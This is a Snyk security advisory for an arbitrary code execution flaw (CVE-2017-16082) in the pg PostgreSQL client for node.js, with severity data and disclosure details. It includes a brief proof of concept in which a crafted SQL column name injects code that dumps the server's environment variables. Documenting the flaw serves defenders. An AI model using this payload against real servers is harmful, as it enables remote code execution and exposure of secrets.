Arbitrary Code Execution Affecting org.webjars.npm:pg package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
23.33% (97th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGWEBJARSNPM-480078
  • published13 Aug 2017
  • disclosed13 Aug 2017
  • creditSehrope Sarkuni

Introduced: 13 Aug 2017

CVE-2017-16082  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for org.webjars.npm:pg.

Overview

org.webjars.npm:pg is a non-blocking PostgreSQL client for node.js.

Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

PoC:

const { Client } = require('pg')
const client = new Client()
client.connect()

const sql = SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"

client.query(sql, (err, res) => { client.end() });

CVSS Scores

version 3.1